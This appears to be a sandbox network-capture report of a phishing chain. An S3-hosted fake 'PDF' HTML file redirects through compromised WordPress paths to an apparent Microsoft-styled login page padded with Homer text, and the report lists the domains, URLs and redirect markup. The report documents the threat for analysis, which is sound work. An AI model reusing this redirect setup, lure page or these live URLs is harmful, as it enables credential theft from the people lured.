                                                                                                              Nov 27, 2024 16:53:44.368187904 CET1.1.1.1192.168.2.160x91ecNo error (0)s3-r-w.eu-central-1.amazonaws.com52.219.72.93A (IP address)IN (0x0001)false
                                                                                                              Nov 27, 2024 16:53:44.372081995 CET1.1.1.1192.168.2.160xc51aNo error (0)cloudserver-filesredir667900989385.s3.eu-central-1.amazonaws.coms3-r-w.eu-central-1.amazonaws.comCNAME (Canonical name)IN (0x0001)false
                                                                                                              Nov 27, 2024 16:53:48.075396061 CET1.1.1.1192.168.2.160xf7a2No error (0)www.google.com142.250.181.68A (IP address)IN (0x0001)false
                                                                                                              Nov 27, 2024 16:53:48.075656891 CET1.1.1.1192.168.2.160xcfb7No error (0)www.google.com65IN (0x0001)false
                                                                                                              Nov 27, 2024 16:53:48.099301100 CET1.1.1.1192.168.2.160xfee7No error (0)silvervalleyrealestategh.com170.10.161.77A (IP address)IN (0x0001)false
                                                                                                              Nov 27, 2024 16:53:51.178569078 CET1.1.1.1192.168.2.160xe975No error (0)electroagrotech.com.ua88.218.28.52A (IP address)IN (0x0001)false
                                                                                                              Nov 27, 2024 16:53:51.179115057 CET1.1.1.1192.168.2.160xaa42No error (0)electroagrotech.com.ua88.218.28.52A (IP address)IN (0x0001)false
                                                                                                              Nov 27, 2024 16:53:56.273911953 CET1.1.1.1192.168.2.160xaecbNo error (0)ci3.googleusercontent.com172.217.17.33A (IP address)IN (0x0001)false
                                                                                                              Nov 27, 2024 16:53:59.494441032 CET1.1.1.1192.168.2.160xee03No error (0)ci3.googleusercontent.com172.217.17.33A (IP address)IN (0x0001)false
                                                                                                              Nov 27, 2024 16:54:00.085165977 CET1.1.1.1192.168.2.160xf2aeNo error (0)rjpanelplus.top194.59.31.199A (IP address)IN (0x0001)false

                                                                                                              HTTP Request Dependency Graph

                                                                                                              • cloudserver-filesredir667900989385.s3.eu-central-1.amazonaws.com
                                                                                                              • https:
                                                                                                                • silvervalleyrealestategh.com
                                                                                                                • electroagrotech.com.ua
                                                                                                                • ci3.googleusercontent.com
                                                                                                                • rjpanelplus.top
                                                                                                              • slscr.update.microsoft.com

                                                                                                              HTTPS Proxied Packets

                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                              0192.168.2.16497113.5.139.1174436356C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              TimestampBytes transferredDirectionData
                                                                                                              2024-11-27 15:53:45 UTC726OUTGET /6354799604_PDF.html HTTP/1.1
                                                                                                              Host: cloudserver-filesredir667900989385.s3.eu-central-1.amazonaws.com
                                                                                                              Connection: keep-alive
                                                                                                              sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
                                                                                                              sec-ch-ua-mobile: ?0
                                                                                                              sec-ch-ua-platform: "Windows"
                                                                                                              Upgrade-Insecure-Requests: 1
                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
                                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                                                                                              Sec-Fetch-Site: none
                                                                                                              Sec-Fetch-Mode: navigate
                                                                                                              Sec-Fetch-User: ?1
                                                                                                              Sec-Fetch-Dest: document
                                                                                                              Accept-Encoding: gzip, deflate, br
                                                                                                              Accept-Language: en-US,en;q=0.9
                                                                                                              2024-11-27 15:53:46 UTC426INHTTP/1.1 200 OK
                                                                                                              x-amz-id-2: UBdaf1wCtxM4XPFVSHlLIMEngJIOzOj4bouS1myAutD6XDg4a5pn2fiUSEUY6qk58kV5+1mvYQolSZ1Nw/Ma0g==
                                                                                                              x-amz-request-id: 5VJ7FGS59CT2D49E
                                                                                                              Date: Wed, 27 Nov 2024 15:53:47 GMT
                                                                                                              Last-Modified: Tue, 26 Nov 2024 01:05:06 GMT
                                                                                                              ETag: "c3947cb9869bff06a70d3e178c92ca37"
                                                                                                              x-amz-server-side-encryption: AES256
                                                                                                              Accept-Ranges: bytes
                                                                                                              Content-Type: text/html
                                                                                                              Content-Length: 1905
                                                                                                              Server: AmazonS3
                                                                                                              Connection: close
                                                                                                              2024-11-27 15:53:46 UTC1905INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 31 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 69 6c 76 65 72 76 61 6c 6c 65 79 72 65 61 6c 65 73 74 61 74 65 67 68 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 65 6c 65 6d 65 6e 74 6f 72 2f 74 68 75 6d 62 73 2f 70 72 6f 63 65 2e 70 68 70 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20
                                                                                                              Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta http-equiv="refresh" content="1;url=https://silvervalleyrealestategh.com/wp-content/uploads/elementor/thumbs/proce.php"> <title>Redirecting...</title> <style>


                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                              1192.168.2.16497123.5.139.1174436356C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              TimestampBytes transferredDirectionData
                                                                                                              2024-11-27 15:53:46 UTC703OUTGET /favicon.ico HTTP/1.1
                                                                                                              Host: cloudserver-filesredir667900989385.s3.eu-central-1.amazonaws.com
                                                                                                              Connection: keep-alive
                                                                                                              sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
                                                                                                              sec-ch-ua-mobile: ?0
                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
                                                                                                              sec-ch-ua-platform: "Windows"
                                                                                                              Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
                                                                                                              Sec-Fetch-Site: same-origin
                                                                                                              Sec-Fetch-Mode: no-cors
                                                                                                              Sec-Fetch-Dest: image
                                                                                                              Referer: https://cloudserver-filesredir667900989385.s3.eu-central-1.amazonaws.com/6354799604_PDF.html
                                                                                                              Accept-Encoding: gzip, deflate, br
                                                                                                              Accept-Language: en-US,en;q=0.9
                                                                                                              2024-11-27 15:53:46 UTC297INHTTP/1.1 403 Forbidden
                                                                                                              x-amz-request-id: 5VJANPKBFNA9W987
                                                                                                              x-amz-id-2: RRYNGnGKgmOQJI5BzeOJxqJz0zPxwi94bkv674p4Z6E/Ebl370tpFxDgwj8pO3rNTs2gmYcVF8OxCpGnPgCseA==
                                                                                                              Content-Type: application/xml
                                                                                                              Transfer-Encoding: chunked
                                                                                                              Date: Wed, 27 Nov 2024 15:53:46 GMT
                                                                                                              Server: AmazonS3
                                                                                                              Connection: close
                                                                                                              2024-11-27 15:53:46 UTC266INData Raw: 66 66 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 45 72 72 6f 72 3e 3c 43 6f 64 65 3e 41 63 63 65 73 73 44 65 6e 69 65 64 3c 2f 43 6f 64 65 3e 3c 4d 65 73 73 61 67 65 3e 41 63 63 65 73 73 20 44 65 6e 69 65 64 3c 2f 4d 65 73 73 61 67 65 3e 3c 52 65 71 75 65 73 74 49 64 3e 35 56 4a 41 4e 50 4b 42 46 4e 41 39 57 39 38 37 3c 2f 52 65 71 75 65 73 74 49 64 3e 3c 48 6f 73 74 49 64 3e 52 52 59 4e 47 6e 47 4b 67 6d 4f 51 4a 49 35 42 7a 65 4f 4a 78 71 4a 7a 30 7a 50 78 77 69 39 34 62 6b 76 36 37 34 70 34 5a 36 45 2f 45 62 6c 33 37 30 74 70 46 78 44 67 77 6a 38 70 4f 33 72 4e 54 73 32 67 6d 59 63 56 46 38 4f 78 43 70 47 6e 50 67 43 73 65 41 3d 3d 3c 2f 48 6f 73 74 49 64 3e 3c 2f 45 72
                                                                                                              Data Ascii: ff<?xml version="1.0" encoding="UTF-8"?><Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>5VJANPKBFNA9W987</RequestId><HostId>RRYNGnGKgmOQJI5BzeOJxqJz0zPxwi94bkv674p4Z6E/Ebl370tpFxDgwj8pO3rNTs2gmYcVF8OxCpGnPgCseA==</HostId></Er


                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                              2192.168.2.1649715170.10.161.774436356C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              TimestampBytes transferredDirectionData
                                                                                                              2024-11-27 15:53:49 UTC786OUTGET /wp-content/uploads/elementor/thumbs/proce.php HTTP/1.1
                                                                                                              Host: silvervalleyrealestategh.com
                                                                                                              Connection: keep-alive
                                                                                                              sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
                                                                                                              sec-ch-ua-mobile: ?0
                                                                                                              sec-ch-ua-platform: "Windows"
                                                                                                              Upgrade-Insecure-Requests: 1
                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
                                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                                                                                              Sec-Fetch-Site: cross-site
                                                                                                              Sec-Fetch-Mode: navigate
                                                                                                              Sec-Fetch-Dest: document
                                                                                                              Referer: https://cloudserver-filesredir667900989385.s3.eu-central-1.amazonaws.com/
                                                                                                              Accept-Encoding: gzip, deflate, br
                                                                                                              Accept-Language: en-US,en;q=0.9
                                                                                                              2024-11-27 15:53:50 UTC498INHTTP/1.1 302 Found
                                                                                                              Connection: close
                                                                                                              x-powered-by: PHP/7.2.34
                                                                                                              location: https://electroagrotech.com.ua/wp-content/uploads/elementor/css
                                                                                                              content-type: text/html; charset=UTF-8
                                                                                                              content-length: 0
                                                                                                              date: Wed, 27 Nov 2024 15:53:49 GMT
                                                                                                              server: LiteSpeed
                                                                                                              cache-control: no-cache, no-store, must-revalidate, max-age=0
                                                                                                              alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"


                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                              3192.168.2.164971888.218.28.524436356C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              TimestampBytes transferredDirectionData
                                                                                                              2024-11-27 15:53:52 UTC767OUTGET /wp-content/uploads/elementor/css HTTP/1.1
                                                                                                              Host: electroagrotech.com.ua
                                                                                                              Connection: keep-alive
                                                                                                              Upgrade-Insecure-Requests: 1
                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
                                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                                                                                              Sec-Fetch-Site: cross-site
                                                                                                              Sec-Fetch-Mode: navigate
                                                                                                              Sec-Fetch-Dest: document
                                                                                                              sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
                                                                                                              sec-ch-ua-mobile: ?0
                                                                                                              sec-ch-ua-platform: "Windows"
                                                                                                              Referer: https://cloudserver-filesredir667900989385.s3.eu-central-1.amazonaws.com/
                                                                                                              Accept-Encoding: gzip, deflate, br
                                                                                                              Accept-Language: en-US,en;q=0.9
                                                                                                              2024-11-27 15:53:53 UTC409INHTTP/1.1 301 Moved Permanently
                                                                                                              Connection: close
                                                                                                              content-type: text/html
                                                                                                              content-length: 795
                                                                                                              date: Wed, 27 Nov 2024 15:53:53 GMT
                                                                                                              server: LiteSpeed
                                                                                                              location: https://electroagrotech.com.ua/wp-content/uploads/elementor/css/
                                                                                                              alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
                                                                                                              2024-11-27 15:53:53 UTC795INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e
                                                                                                              Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!importan


                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                              4192.168.2.16497194.245.163.56443
                                                                                                              TimestampBytes transferredDirectionData
                                                                                                              2024-11-27 15:53:54 UTC306OUTGET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=adpkDWHB2uxHAK4&MD=6++8HOfL HTTP/1.1
                                                                                                              Connection: Keep-Alive
                                                                                                              Accept: */*
                                                                                                              User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33
                                                                                                              Host: slscr.update.microsoft.com
                                                                                                              2024-11-27 15:53:55 UTC560INHTTP/1.1 200 OK
                                                                                                              Cache-Control: no-cache
                                                                                                              Pragma: no-cache
                                                                                                              Content-Type: application/octet-stream
                                                                                                              Expires: -1
                                                                                                              Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
                                                                                                              ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880"
                                                                                                              MS-CorrelationId: de8779be-402b-4c1a-b78f-70f007575340
                                                                                                              MS-RequestId: 73a4da30-4937-4b87-be2f-241a99c80389
                                                                                                              MS-CV: +sXfvXxy5U+cS3ky.0
                                                                                                              X-Microsoft-SLSClientCache: 2880
                                                                                                              Content-Disposition: attachment; filename=environment.cab
                                                                                                              X-Content-Type-Options: nosniff
                                                                                                              Date: Wed, 27 Nov 2024 15:53:54 GMT
                                                                                                              Connection: close
                                                                                                              Content-Length: 24490
                                                                                                              2024-11-27 15:53:55 UTC15824INData Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58
                                                                                                              Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
                                                                                                              2024-11-27 15:53:55 UTC8666INData Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31
                                                                                                              Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1


                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                              5192.168.2.164972088.218.28.524436356C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              TimestampBytes transferredDirectionData
                                                                                                              2024-11-27 15:53:55 UTC768OUTGET /wp-content/uploads/elementor/css/ HTTP/1.1
                                                                                                              Host: electroagrotech.com.ua
                                                                                                              Connection: keep-alive
                                                                                                              Upgrade-Insecure-Requests: 1
                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
                                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                                                                                              Sec-Fetch-Site: cross-site
                                                                                                              Sec-Fetch-Mode: navigate
                                                                                                              Sec-Fetch-Dest: document
                                                                                                              sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
                                                                                                              sec-ch-ua-mobile: ?0
                                                                                                              sec-ch-ua-platform: "Windows"
                                                                                                              Referer: https://cloudserver-filesredir667900989385.s3.eu-central-1.amazonaws.com/
                                                                                                              Accept-Encoding: gzip, deflate, br
                                                                                                              Accept-Language: en-US,en;q=0.9
                                                                                                              2024-11-27 15:53:56 UTC645INHTTP/1.1 200 OK
                                                                                                              Connection: close
                                                                                                              x-powered-by: PHP/7.4.33
                                                                                                              set-cookie: PHPSESSID=75ec4bb0220c377e00d94a1c6a18d2ac; path=/; secure
                                                                                                              expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                              cache-control: no-store, no-cache, must-revalidate
                                                                                                              pragma: no-cache
                                                                                                              set-cookie: visit_count=1; expires=Thu, 28-Nov-2024 15:53:55 GMT; Max-Age=86400; path=/; secure
                                                                                                              content-type: text/html; charset=UTF-8
                                                                                                              transfer-encoding: chunked
                                                                                                              date: Wed, 27 Nov 2024 15:53:55 GMT
                                                                                                              server: LiteSpeed
                                                                                                              alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
                                                                                                              2024-11-27 15:53:56 UTC723INData Raw: 35 36 31 38 0d 0a 3c 68 74 6d 6c 20 69 64 3d 22 53 69 22 20 64 61 74 61 2d 73 73 61 2d 70 61 67 65 2d 69 64 3d 22 53 69 22 20 6c 61 6e 67 3d 22 65 6e 22 20 63 6c 61 73 73 3d 22 20 6e 6f 2d 6d 6f 62 69 6c 65 20 64 65 73 6b 74 6f 70 20 6e 6f 2d 69 65 20 63 68 72 6f 6d 65 20 63 68 72 6f 6d 65 31 31 39 20 72 69 6c 2d 73 65 63 74 69 6f 6e 20 67 72 61 64 69 65 6e 74 20 72 67 62 61 20 6f 70 61 63 69 74 79 20 74 65 78 74 73 68 61 64 6f 77 20 6d 75 6c 74 69 70 6c 65 62 67 73 20 62 6f 78 73 68 61 64 6f 77 20 62 6f 72 64 65 72 69 6d 61 67 65 20 62 6f 72 64 65 72 72 61 64 69 75 73 20 63 73 73 72 65 66 6c 65 63 74 69 6f 6e 73 20 63 73 73 74 72 61 6e 73 66 6f 72 6d 73 20 63 73 73 74 72 61 6e 73 69 74 69 6f 6e 73 20 6e 6f 2d 74 6f 75 63 68 20 6e 6f 2d 72 65 74 69 6e 61
                                                                                                              Data Ascii: 5618<html id="Si" data-ssa-page-id="Si" lang="en" class=" no-mobile desktop no-ie chrome chrome119 ril-section gradient rgba opacity textshadow multiplebgs boxshadow borderimage borderradius cssreflections csstransforms csstransitions no-touch no-retina
                                                                                                              2024-11-27 15:53:56 UTC14994INData Raw: 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 69 63 6f 6e 22 20 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 68 65 63 6b 70 6f 69 6e 74 56 65 72 73 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 31 2e 33 2e 32 35 22 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 20 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 65 6e 76 22 20 63 6f 6e 74 65 6e 74 3d 22 70 72 64 22 3e 0d 0a 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72
                                                                                                              Data Ascii: d.microsoft.icon" /> <meta name="checkpointVersion" content="1.3.25"><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="env" content="prd"><meta http-equiv="r
                                                                                                              2024-11-27 15:53:56 UTC6331INData Raw: 73 65 2c 20 61 6e 64 20 69 73 20 74 6f 20 62 65 20 6c 61 69 64 20 75 70 20 69 6e 20 61 20 74 72 65 61 73 75 72 65 20 68 6f 75 73 65 26 6d 64 61 73 68 3b 6d 61 6e 79 20 61 0d 0a 6b 6e 69 67 68 74 20 69 73 20 66 61 69 6e 20 74 6f 20 62 65 61 72 20 69 74 2c 20 62 75 74 20 74 68 65 20 6b 69 6e 67 20 6b 65 65 70 73 20 69 74 20 61 73 20 61 6e 20 6f 72 6e 61 6d 65 6e 74 0d 0a 6f 66 20 77 68 69 63 68 20 62 6f 74 68 20 68 6f 72 73 65 20 61 6e 64 20 64 72 69 76 65 72 20 6d 61 79 20 62 65 20 70 72 6f 75 64 26 6d 64 61 73 68 3b 65 76 65 6e 20 73 6f 2c 20 4f 0d 0a 4d 65 6e 65 6c 61 75 73 2c 20 77 65 72 65 20 79 6f 75 72 20 73 68 61 70 65 6c 79 20 74 68 69 67 68 73 20 61 6e 64 20 79 6f 75 72 20 6c 65 67 73 20 64 6f 77 6e 20 74 6f 0d 0a 79 6f 75 72 20 66 61 69 72 20 61
                                                                                                              Data Ascii: se, and is to be laid up in a treasure house&mdash;many aknight is fain to bear it, but the king keeps it as an ornamentof which both horse and driver may be proud&mdash;even so, OMenelaus, were your shapely thighs and your legs down toyour fair a
                                                                                                              2024-11-27 15:53:56 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                              Data Ascii: 0


                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                              6192.168.2.1649721172.217.17.334436356C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              TimestampBytes transferredDirectionData
                                                                                                              2024-11-27 15:53:58 UTC867OUTGET /meips/ADKq_NZi8R4m6H8EJruwBzxCqPKVPzWCU6p8FRwtcx3ScqmC0alrzNrsKe32Pl2h3WKXSwL-bd3kecKFfZJddwmVxlPRLfISpCAutfNswBHKsELm687KIoqZs9-Ogbs9nNrClyddA1vzBISt721ohcFF82CuM-_6WGxNRw=s0-d-e1-ft HTTP/1.1
                                                                                                              Host: ci3.googleusercontent.com
                                                                                                              Connection: keep-alive
                                                                                                              sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
                                                                                                              sec-ch-ua-mobile: ?0
                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
                                                                                                              sec-ch-ua-platform: "Windows"
                                                                                                              Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
                                                                                                              X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlKHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw==
                                                                                                              Sec-Fetch-Site: cross-site
                                                                                                              Sec-Fetch-Mode: no-cors
                                                                                                              Sec-Fetch-Dest: image
                                                                                                              Referer: https://electroagrotech.com.ua/
                                                                                                              Accept-Encoding: gzip, deflate, br
                                                                                                              Accept-Language: en-US,en;q=0.9
                                                                                                              2024-11-27 15:53:59 UTC575INHTTP/1.1 200 OK
                                                                                                              Content-Type: image/png
                                                                                                              Cross-Origin-Resource-Policy: cross-origin
                                                                                                              Vary: Origin
                                                                                                              Access-Control-Allow-Origin: *
                                                                                                              Timing-Allow-Origin: *
                                                                                                              Access-Control-Expose-Headers: Content-Length
                                                                                                              Expires: Fri, 01 Jan 1990 00:00:00 GMT
                                                                                                              Cache-Control: private, max-age=86400, no-transform, must-revalidate
                                                                                                              Content-Disposition: attachment;filename="unnamed.png"
                                                                                                              X-Content-Type-Options: nosniff
                                                                                                              Date: Wed, 27 Nov 2024 15:53:58 GMT
                                                                                                              Server: fife
                                                                                                              Content-Length: 23447
                                                                                                              X-XSS-Protection: 0
                                                                                                              Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
                                                                                                              Connection: close
                                                                                                              2024-11-27 15:53:59 UTC815INData Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 ef 00 00 00 95 08 06 00 00 00 71 47 72 de 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 20 00 49 44 41 54 78 9c ec 9d 79 58 55 55 d7 c0 7f be 82 08 8a 62 41 29 94 80 69 82 56 20 88 af 51 28 82 a6 e1 c0 a0 59 0e 28 0e 39 04 26 0e a5 02 25 be af a0 96 26 26 68 9a 03 8a 53 a5 0c 9a e4 88 28 86 26 0e 58 09 98 16 43 81 fa 42 89 51 a8 08 9f df 1f e7 de 73 cf e5 5e e6 41 b0 f3 7b 9e f3 c8 3d c3 de fb 9c 7d dc eb ac b5 d7 5a bb c5 c3 87 0f 91 91 91 91 91 91 91 69 3e fc eb 51 37 40 46 46 46 46 46 46 a6 66 c8 c2 5b 46 46 46 46 46 a6 99 21 0b 6f 19 19 19 19 19 99 66 86 2c bc 65 64 64 64 64 64 9a 19 b2 f0 96 91 91 91 91 91 69 66 c8 c2 5b 46 46 46 46
                                                                                                              Data Ascii: PNGIHDRqGrsBIT|dbKGD IDATxyXUUbA)iV Q(Y(9&%&&hS(&XCBQs^A{=}Zi>Q7@FFFFFFf[FFFFF!of,edddddif[FFFF
